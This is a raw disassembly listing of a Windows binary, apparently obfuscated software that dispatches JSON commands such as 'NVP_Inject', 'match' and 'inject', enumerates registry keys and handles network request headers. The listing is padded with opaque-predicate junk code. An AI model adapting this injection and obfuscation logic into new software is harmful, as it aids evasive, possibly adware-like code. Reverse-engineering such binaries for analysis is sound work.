lea rcx, [rsp + 0x3f0]
call fcn.14003c990
mov rcx, rax
lea rdx, [rsp + 0xec0]
call fcn.14003c000
nop
lea rcx, [rsp + 0xec0]
call fcn.14003bf50
lea rdx, str.Accept_Encoding:_gzip__deflate_r_n
lea rcx, [rsp + 0xee0]
call fcn.14003bca0
nop
lea rdx, str.additionalRequestHeaders
lea rcx, [rsp + 0x3f0]
call fcn.14003c990
mov rcx, rax
lea rdx, [rsp + 0xee0]
call fcn.14003c000
nop
lea rcx, [rsp + 0xee0]
call fcn.14003bf50
mov ecx, dword [0x1401d6d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub r8d, edx
cmp r8d, 8
jne 0x14006cece
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x1401d6d80]
mov edx, 7
test rax, rax
cmove ecx, edx
mov dword [0x1401d6d80], ecx
mov qword [rsp + 0x6a0], rdi
lea r9, [rsp + 0x3f0]
lea r8, [rsp + 0x6a0]
mov rdx, r13
lea rcx, [rsp + 0xf00]
call fcn.140031b80
nop
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.140068d40
test al, al
jne 0x14006cf39
mov dword [rsp + 0x184], r14d
mov ecx, dword [0x1401d6d80]
cmp r14d, ecx
jge 0x14006cf32
mov eax, ecx
cdq
idiv r14d
inc r14d
add r14d, edx
mov dword [rsp + 0x184], r14d
jmp 0x14006cf17
mov dword [0x1401d6d80], r14d
test r15, r15
je 0x14006d034
lea rax, vtable.Json::Writer.0
mov qword [rsp + 0x2e10], rax
lea rax, vtable.Json::FastWriter.0
mov qword [rsp + 0x2e10], rax
mov qword [rsp + 0x2e28], rdi
mov qword [rsp + 0x2e30], rdi
mov qword [rsp + 0x2e30], 0xf
mov qword [rsp + 0x2e28], rdi
mov byte [rsp + 0x2e18], 0
mov byte [rsp + 0x2e38], 0
lea r8, [rsp + 0xf00]
lea rdx, [rsp + 0x2fc0]
lea rcx, [rsp + 0x2e10]
call fcn.14003f280
mov qword [rsp + 0x990], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006cfc3
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x2c0]
call fcn.140003760
nop
lea rcx, [rsp + 0x2fc0]
call fcn.1400013b0
mov rcx, qword [rsp + 0x2c0]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x478], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x9a0], rax
test rax, rax
jne 0x14006d00b
call fcn.140002850
mov qword [r15 + 8], rax
mov eax, 8
mov word [r15], ax
lea rcx, [rsp + 0x2c0]
call fcn.140002540
nop
lea rcx, [rsp + 0x2e10]
call fcn.14000b400
nop
lea rcx, [rsp + 0xf00]
call fcn.14003bf50
nop
lea rcx, [rsp + 0x3f0]
call fcn.14003bf50
nop
lea rcx, [rsp + 0x90]
call fcn.140002540
jmp 0x14006e65f
call fcn.140068cf0
test al, al
jne 0x14006d080
mov dword [rsp + 0xff0], edi
mov dword [rsp + 0x1028], edi
mov dword [rsp + 0x1060], edi
test r15, r15
je 0x14006d096
mov word [r15 + 8], di
mov esi, 0xb
mov word [r15], si
xor sil, sil
lea rcx, [rsp + 0x48]
call fcn.140002540
nop
cmp qword [rsp + 0x2dc8], 0x10
jb 0x14006d0b9
mov rcx, qword [rsp + 0x2db0]
call fcn.1400d4de0
mov qword [rsp + 0x2dc8], 0xf
mov qword [rsp + 0x2dc0], rdi
mov byte [rsp + 0x2db0], 0
lea rcx, [rsp + 0x70]
call fcn.140002540
nop
lea rcx, [rsp + 0x2f00]
call fcn.140019ce0
nop
lea rcx, [rsp + 0x58]
call fcn.14003bf50
nop
mov rbx, qword [rsp + 0x40]
jmp 0x14006e7a9
lea rdx, str.NVP_IsSupported
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
jne 0x14006d134
test r15, r15
je 0x14006e65f
mov word [r15 + 8], r12w
mov esi, 0xb
mov word [r15], si
jmp 0x14006e65f
lea rdx, str.NVP_Inject
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
jne 0x14006d5dd
test r15, r15
je 0x14006e65f
lea rdx, [0x140161b10]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0x9b0], rax
lea rdx, [0x140161b18]
mov rcx, rax
call fcn.14003ccd0
test al, al
je 0x14006d590
lea rdx, [0x140161b20]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0x9c0], rax
lea rdx, [0x14015f464]
mov rcx, rax
call fcn.14003ccd0
test al, al
je 0x14006d590
lea rdx, [0x140161aec]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0x9d0], rax
lea rdx, [0x140161af8]
mov rcx, rax
call fcn.14003ccd0
test al, al
je 0x14006d590
lea rdx, [0x140161b00]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0x9e0], rax
lea rdx, [0x140161b08]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0x9f0], rax
cmp byte [rax + 8], 1
jne 0x14006d590
lea rdx, [0x140161b48]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xa00], rax
lea rdx, [0x14015f574]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xa10], rax
cmp byte [rax + 8], 1
jne 0x14006d590
lea rdx, [0x140161b50]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xa20], rax
lea rdx, [0x140161b58]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xa30], rax
cmp byte [rax + 8], 4
jne 0x14006d590
lea rdx, [0x140161b28]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xa40], rax
lea rdx, [0x140161b30]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xa50], rax
lea rdx, [rsp + 0x2dd0]
mov rcx, rax
call fcn.14003c090
nop
mov qword [rsp + 0x2d0], rdi
lea rcx, [rsp + 0x2dd0]
cmp qword [rsp + 0x2de8], 0x10
cmovae rcx, qword [rsp + 0x2dd0]
mov qword [rsp + 0xa60], rcx
mov rdx, qword [rsp + 0x2de0]
test dl, 3
jne 0x14006d535
lea r8, [rsp + 0x2d0]
call fcn.140021f90
mov byte [rsp + 0xac], al
test al, al
je 0x14006d535
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x138], rdi
mov rdx, qword [rsp + 0x2d0]
lea rcx, [rsp + 0x128]
call fcn.140035510
nop
mov qword [rsp + 0x2e0], rdi
lea rcx, [rsp + 0x2dd0]
cmp qword [rsp + 0x2de8], 0x10
cmovae rcx, qword [rsp + 0x2dd0]
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x2d0]
mov rbx, qword [rsp + 0x128]
mov r8, rbx
mov rdx, qword [rsp + 0x2de0]
call fcn.140022030
test al, al
jne 0x14006d431
test rbx, rbx
je 0x14006d3d6
mov rcx, rbx
call fcn.1400d4de0
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x138], rdi
lea rcx, [rsp + 0x2dd0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x48]
call fcn.140002540
nop
lea rcx, [rsp + 0x2db0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.140002540
nop
lea rcx, [rsp + 0x2f00]
call fcn.140019ce0
nop
lea rcx, [rsp + 0x58]
call fcn.14003bf50
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x14006e7ae
mov rdx, qword [rsp + 0x2e0]
lea rcx, [rsp + 0x128]
call fcn.140035510
call fcn.140068a50
test al, al
jne 0x14006d455
inc dword [0x1401d6d80]
lea rdx, [0x140161b38]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xa70], rax
lea rdx, str.match
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xa80], rax
mov rcx, rax
call fcn.14003c320
mov ebx, eax
mov dword [rsp + 0x874], eax
lea rdx, [0x140161b80]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xa90], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xaa0], rax
mov rcx, rax
call fcn.14003c320
mov dword [rsp + 0x488], eax
lea r9, [rsp + 0x128]
mov r8d, eax
mov edx, ebx
mov rcx, qword [r13 + 0x40]
call fcn.140063510
mov word [r15 + 8], r12w
mov esi, 0xb
mov word [r15], si
mov rcx, qword [rsp + 0x128]
test rcx, rcx
je 0x14006d523
call fcn.1400d4de0
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x138], rdi
lea rcx, [rsp + 0x2dd0]
call fcn.1400013b0
jmp 0x14006e65f
lea rcx, [rsp + 0x2dd0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x48]
call fcn.140002540
nop
lea rcx, [rsp + 0x2db0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.140002540
nop
lea rcx, [rsp + 0x2f00]
call fcn.140019ce0
nop
lea rcx, [rsp + 0x58]
call fcn.14003bf50
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x14006e7ae
lea rcx, [rsp + 0x48]
call fcn.140002540
nop
lea rcx, [rsp + 0x2db0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.140002540
nop
lea rcx, [rsp + 0x2f00]
call fcn.140019ce0
nop
lea rcx, [rsp + 0x58]
call fcn.14003bf50
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x14006e7ae
lea rdx, str.NVP_UTF8ToUTF16
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
jne 0x14006d878
mov ecx, dword [0x1401d6d80]
imul ecx, ecx
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 6
jne 0x14006d62d
lea edx, [rcx + 0x79]
lea r8d, [rcx + 0x7a]
lea rcx, [0x14015f614]
call fcn.1400d5714
test r15, r15
je 0x14006e65f
xor sil, sil
mov byte [rsp + 0x78], sil
lea rcx, [rsp + 0x258]
call fcn.140002460
nop
lea rdx, [0x140161b60]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xab0], rax
lea rdx, [0x140161b68]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xac0], rax
cmp byte [rax + 8], 4
jne 0x14006d858
lea rdx, [0x140161b70]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xad0], rax
lea rdx, [0x140161b78]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xae0], rax
lea rdx, [rsp + 0x2df0]
mov rcx, rax
call fcn.14003c090
nop
mov rax, qword [rsp + 0x2e00]
mov qword [rsp + 0xaf0], rax
lea r8, [rsp + 0x2df0]
cmp qword [rsp + 0x2e08], 0x10
cmovae r8, qword [rsp + 0x2df0]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov dword [rsp + 0x688], ebx
test eax, eax
je 0x14006d80d
mov qword [rsp + 0x3c0], rdi
mov qword [rsp + 0x3c8], rdi
mov qword [rsp + 0x3d0], rdi
mov rdx, rbx
add rdx, rdx
lea rcx, [rsp + 0x3c0]
call fcn.140035510
nop
mov rax, qword [rsp + 0x2e00]
mov qword [rsp + 0xb00], rax
lea r8, [rsp + 0x2df0]
cmp qword [rsp + 0x2e08], 0x10
cmovae r8, qword [rsp + 0x2df0]
mov dword [rsp + 0x28], ebx
mov rbx, qword [rsp + 0x3c0]
mov qword [rsp + 0x20], rbx
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x14006d7e8
mov r8, qword [rsp + 0x3c8]
sub r8, rbx
mov qword [rsp + 0xb10], r8
mov rdx, rbx
lea rcx, [rsp + 0x6b0]
call fcn.1400223f0
mov qword [rsp + 0xb20], rax
mov rdx, rax
lea rcx, [rsp + 0x258]
call fcn.1400025c0
nop
lea rcx, [rsp + 0x6b0]
call fcn.140002540
mov sil, 1
mov byte [rsp + 0x78], sil
test rbx, rbx
je 0x14006d80d
mov rcx, rbx
call fcn.1400d4de0
mov qword [rsp + 0x3c0], rdi
mov qword [rsp + 0x3c8], rdi
mov qword [rsp + 0x3d0], rdi
lea rcx, [rsp + 0x2df0]
call fcn.1400013b0
test sil, sil
je 0x14006d858
mov rcx, qword [rsp + 0x258]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x498], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xb30], rax
test rax, rax
jne 0x14006d849
call fcn.140002850
mov qword [r15 + 8], rax
mov eax, 8
mov word [r15], ax
jmp 0x14006d866
mov word [r15 + 8], di
mov esi, 0xb
mov word [r15], si
lea rcx, [rsp + 0x258]
call fcn.140002540
jmp 0x14006e65f
lea rdx, str.reloadBackground
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
jne 0x14006d8b5
mov rcx, qword [r13 + 0x40]
add rcx, 0x1f0
call fcn.140073530
test r15, r15
je 0x14006e65f
mov r14d, 1
mov word [r15], r14w
jmp 0x14006e65f
lea rdx, str.debugMessage
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
jne 0x14006d972
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xb40], rax
lea rdx, str.message
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xb50], rax
cmp byte [rax + 8], 4
jne 0x14006d972
lea rdx, [0x140161ba8]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xb60], rax
lea rdx, [0x140161bb0]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xb70], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb80], rdx
lea rcx, [rsp + 0x6c0]
call fcn.140003760
nop
test r15, r15
je 0x14006d960
mov word [r15 + 8], r12w
mov esi, 0xb
mov word [r15], si
lea rcx, [rsp + 0x6c0]
call fcn.140002540
jmp 0x14006e65f
test r15, r15
je 0x14006e65f
mov word [r15 + 8], di
mov esi, 0xb
mov word [r15], si
jmp 0x14006e65f
lea rdx, [0x14016192c]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xb90], rax
lea rdx, [0x140161978]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xba0], rax
cmp byte [rax + 8], 4
jne 0x14006e65f
test r15, r15
je 0x14006e65f
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x170], rdi
lea rdx, [0x140161980]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xbb0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003ccd0
test al, al
je 0x14006dcc5
lea rdx, [0x140161990]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xbc0], rax
lea rdx, [0x140161948]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xbd0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbe0], rdx
lea rcx, [rsp + 0x268]
call fcn.140003760
nop
mov rbx, qword [r13 + 0x50]
lea rdx, [0x140161950]
lea rcx, [rsp + 0x268]
call fcn.140003b80
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xbf0], rbx
lea rdx, [0x140161968]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xc00], rax
lea rdx, [0x140161970]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xc10], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc20], rdx
lea rax, [rsp + 0x6d0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x788], eax
test eax, eax
je 0x14006db94
mov dword [r15 + 8], eax
mov eax, 0x16
mov word [r15], ax
lea rcx, [rsp + 0x268]
call fcn.140002540
nop
lea rcx, [rsp + 0x160]
call fcn.14001b8f0
nop
lea rcx, [rsp + 0x48]
call fcn.140002540
nop
cmp qword [rsp + 0x2dc8], 0x10
jb 0x14006db44
mov rcx, qword [rsp + 0x2db0]
call fcn.1400d4de0
mov qword [rsp + 0x2dc8], 0xf
mov qword [rsp + 0x2dc0], rdi
mov byte [rsp + 0x2db0], 0
lea rcx, [rsp + 0x70]
call fcn.140002540
nop
lea rcx, [rsp + 0x2f00]
call fcn.140019ce0
nop
lea rcx, [rsp + 0x58]
call fcn.14003bf50
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x14006e7ae
mov ebx, edi
mov dword [rsp + 0x280], ebx
mov dword [rsp + 0x100], 0x7ffe
lea rdx, [0x1401619b0]
lea rcx, [rsp + 0x48]
call fcn.140003b80
mov r14, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
cmove r14, qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov qword [rsp + 0xc30], r14
mov ecx, 0x7ffe
call fcn.1400d4448
mov rsi, rax
mov qword [rsp + 0xc40], rax
xor edx, edx
mov r8d, 0x7ffe
mov rcx, rax
call fcn.1400da240
nop word [rax + rax]
mov edx, ebx
inc ebx
mov dword [rsp + 0x280], ebx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x100]
mov r8, rsi
mov rcx, qword [rsp + 0x6d0]
call r14
mov dword [rsp + 0x4a8], eax
test eax, eax
jne 0x14006dc8f
mov rdx, rsi
lea rcx, [rsp + 0x6e0]
call fcn.140003760
nop
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.14002b860
nop
lea rcx, [rsp + 0x6e0]
call fcn.140002540
xor edx, edx
mov r8d, 0x7ffe
mov rcx, rsi
call fcn.1400da240
mov dword [rsp + 0x100], 0x7ffe
jmp 0x14006dc00
cmp eax, 0x103
je 0x14006dcb2
mov rax, qword [rsp + 0x168]
sub rax, qword [rsp + 0x160]
test rax, 0xfffffffffffffff8
jne 0x14006dcb2
xor bl, bl
jmp 0x14006dcb4
mov bl, 1
mov byte [rsp + 0x52], bl
lea rcx, [rsp + 0x268]
jmp 0x14006ddb1
lea rdx, str.getChildValues
lea rcx, [rsp + 0x48]
call fcn.140003b80
lea rcx, [rsp + 0x58]
test eax, eax
jne 0x14006dd49
lea rdx, [0x1401619f0]
call fcn.14003c990
mov qword [rsp + 0xc50], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xc60], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc70], rdx
lea rcx, [rsp + 0x2f0]
call fcn.140003760
nop
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x2f0]
call fcn.14004f780
movzx ebx, al
mov byte [rsp + 0x52], al
lea rcx, [rsp + 0x2f0]
jmp 0x14006ddb1
lea rdx, [0x140161998]
call fcn.14003c990
mov qword [rsp + 0xc80], rax
lea rdx, [0x1401619a0]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xc90], rax
mov rdx, qword [rax]
mov qword [rsp + 0xca0], rdx
lea rcx, [rsp + 0x300]
call fcn.140003760
nop
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x300]
call fcn.14004f220
movzx ebx, al
mov byte [rsp + 0x52], al
lea rcx, [rsp + 0x300]
call fcn.140002540
test bl, bl
je 0x14006e036
mov ecx, dword [0x1401d6d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x30c30c31
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub r8d, edx
cmp r8d, 0xd
jne 0x14006ddf7
dec dword [0x1401d8824]
lea rdx, [0x1401619a8]
lea rcx, [rsp + 0xb8]
call fcn.1400024a0
nop
mov rbx, qword [rsp + 0x160]
mov qword [rsp + 0x710], rbx
cmp rbx, qword [rsp + 0x168]
je 0x14006def2
lea rdx, [0x14015ed6c]
lea rcx, [rsp + 0x320]
call fcn.140003760
nop
lea rdx, [0x14015f064]
lea rcx, [rsp + 0x310]
call fcn.140003760
nop
mov r8, rbx
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x700]
call fcn.140010150
nop
lea r8, [rsp + 0x320]
mov rdx, rax
lea rcx, [rsp + 0x6f0]
call fcn.140010150
mov qword [rsp + 0xcb0], rax
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x698], r8d
mov qword [rsp + 0xcc0], rdx
lea rcx, [rsp + 0xb8]
call fcn.140010c10
nop
lea rcx, [rsp + 0x6f0]
call fcn.140002540
nop
lea rcx, [rsp + 0x700]
call fcn.140002540
nop
lea rcx, [rsp + 0x310]
call fcn.140002540
nop
lea rcx, [rsp + 0x320]
call fcn.140002540
add rbx, 8
jmp 0x14006de14
mov rax, qword [rsp + 0xb8]
mov r8d, dword [rax - 0x10]
mov dword [rsp + 0x4b8], r8d
dec r8d
lea rdx, [rsp + 0x730]
lea rcx, [rsp + 0xb8]
call fcn.14001b4e0
nop
lea r8, [0x14015f124]
mov rdx, rax
lea rcx, [rsp + 0x720]
call fcn.14001b580
mov qword [rsp + 0xcd0], rax
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.1400025c0
nop
lea rcx, [rsp + 0x720]
call fcn.140002540
nop
lea rcx, [rsp + 0x730]
call fcn.140002540
mov r8d, dword [0x1401d6d80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 0x11
jne 0x14006dff0
mov dword [rsp + 0x18c], edi
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x74
mov eax, r8d
sub eax, edx
cmp eax, 0x78
je 0x14006dfea
mov eax, r8d
or eax, 0xffffff1b
add r8d, eax
mov dword [0x1401d6d80], r8d
inc edi
mov dword [rsp + 0x18c], edi
mov eax, r8d
imul eax, r8d
cmp edi, eax
jg 0x14006dfea
jmp 0x14006dfa0
mov dword [0x1401d6d80], edi
mov rcx, qword [rsp + 0xb8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x808], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xce0], rax
test rax, rax
jne 0x14006e01a
call fcn.140002850
mov qword [r15 + 8], rax
mov eax, 8
mov word [r15], ax
lea rcx, [rsp + 0xb8]
call fcn.140002540
jmp 0x14006e044
mov word [r15 + 8], di
mov esi, 0xb
mov word [r15], si
lea rcx, [rsp + 0x160]
call fcn.14001b8f0
jmp 0x14006e65f
mov r8d, dword [0x1401d6d80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp ecx, 0xb
jne 0x14006e0ae
mov ecx, edi
mov dword [rsp + 0x220], ecx
movsxd rax, ecx
cmp rax, 0x3c0
jae 0x14006e0ae
mov eax, dword [rsp + rax*4 + 0x3890]
imul eax, eax, 0x5d
add r8d, eax
mov dword [0x1401d6d80], r8d
inc ecx
jmp 0x14006e084
lea rdx, [0x14016159c]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xcf0], rax
lea rdx, [0x1401615a8]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xd00], rax
cmp byte [rax + 8], 4
jne 0x14006e65f
test r15, r15
je 0x14006e65f
lea rdx, [0x1401615b0]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xd10], rax
lea rdx, [0x1401615b8]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xd20], rax
cmp byte [rax + 8], 4
jne 0x14006e65f
lea rdx, [0x140161574]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xd30], rax
lea rdx, [0x140161580]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xd40], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd50], rdx
lea rcx, [rsp + 0x108]
call fcn.140003760
nop
lea rdx, [0x140161588]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xd60], rax
lea rdx, [0x140161590]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xd70], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd80], rdx
lea rcx, [rsp + 0xf8]
call fcn.140003760
nop
mov rsi, rdi
mov qword [rsp + 0x120], rdi
lea rdx, [0x1401615f8]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xd90], rax
lea rdx, [0x140161600]
mov rcx, rax
call fcn.14003ccd0
test al, al
je 0x14006e356
mov ecx, dword [0x1401d6d80]
imul ecx, ecx
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 0xe
jne 0x14006e236
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rdx, [0x140161608]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xda0], rax
lea rdx, [0x140161610]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xdc0], rdx
lea rcx, [rsp + 0x330]
call fcn.140003760
nop
mov ecx, dword [0x1401d6d80]
imul ecx, ecx
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 8
jne 0x14006e2b8
mov edx, 0x9c
lea r8d, [rdx + 1]
lea rcx, [0x14015ed9c]
call fcn.1400d5714
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x120], rbx
lea rdx, [0x1401615c8]
lea rcx, [rsp + 0x330]
call fcn.140003b80
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x120], rbx
mov ecx, dword [0x1401d6d80]
mov eax, ecx
imul eax, ecx
and eax, 0x8000000f
jge 0x14006e306
dec eax
or eax, 0xfffffff0
inc eax
cmp eax, 0xf
jne 0x14006e31d
mov r14d, 1
test ecx, ecx
cmove ecx, r14d
mov dword [0x1401d6d80], ecx
mov rcx, qword [rsp + 0x330]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x740], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e34e
mov rdx, qword [rsp + 0x740]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rsi, qword [rsp + 0x120]
lea rdx, str.getCharPref
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
jne 0x14006e4d1
lea rcx, [rsp + 0x110]
call fcn.140002460
nop
test rsi, rsi
je 0x14006e3ac
mov r9, rsi
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x110]
call fcn.14004dfb0
mov rbx, qword [rsp + 0x40]
jmp 0x14006e460
lea rax, [rsp + 0x750]
mov qword [rsp + 0xdd0], rax
lea rdx, [0x14015ebb4]
lea rcx, [rsp + 0x750]
call fcn.1400024a0
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401d1d58]
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x760]
call fcn.14004d550
mov qword [rsp + 0xde0], rax
mov rdx, rax
lea rcx, [rsp + 0x110]
call fcn.1400025c0
nop
mov rcx, qword [rsp + 0x760]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x770], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e445
mov rdx, qword [rsp + 0x770]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rbx, qword [rsp + 0x40]
jmp 0x14006e460
mov rcx, qword [rsp + 0x110]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x4c8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xdf0], rax
test rax, rax
jne 0x14006e48a
call fcn.140002850
mov qword [r15 + 8], rax
mov eax, 8
mov word [r15], ax
mov rcx, qword [rsp + 0x110]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x790], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e5f1
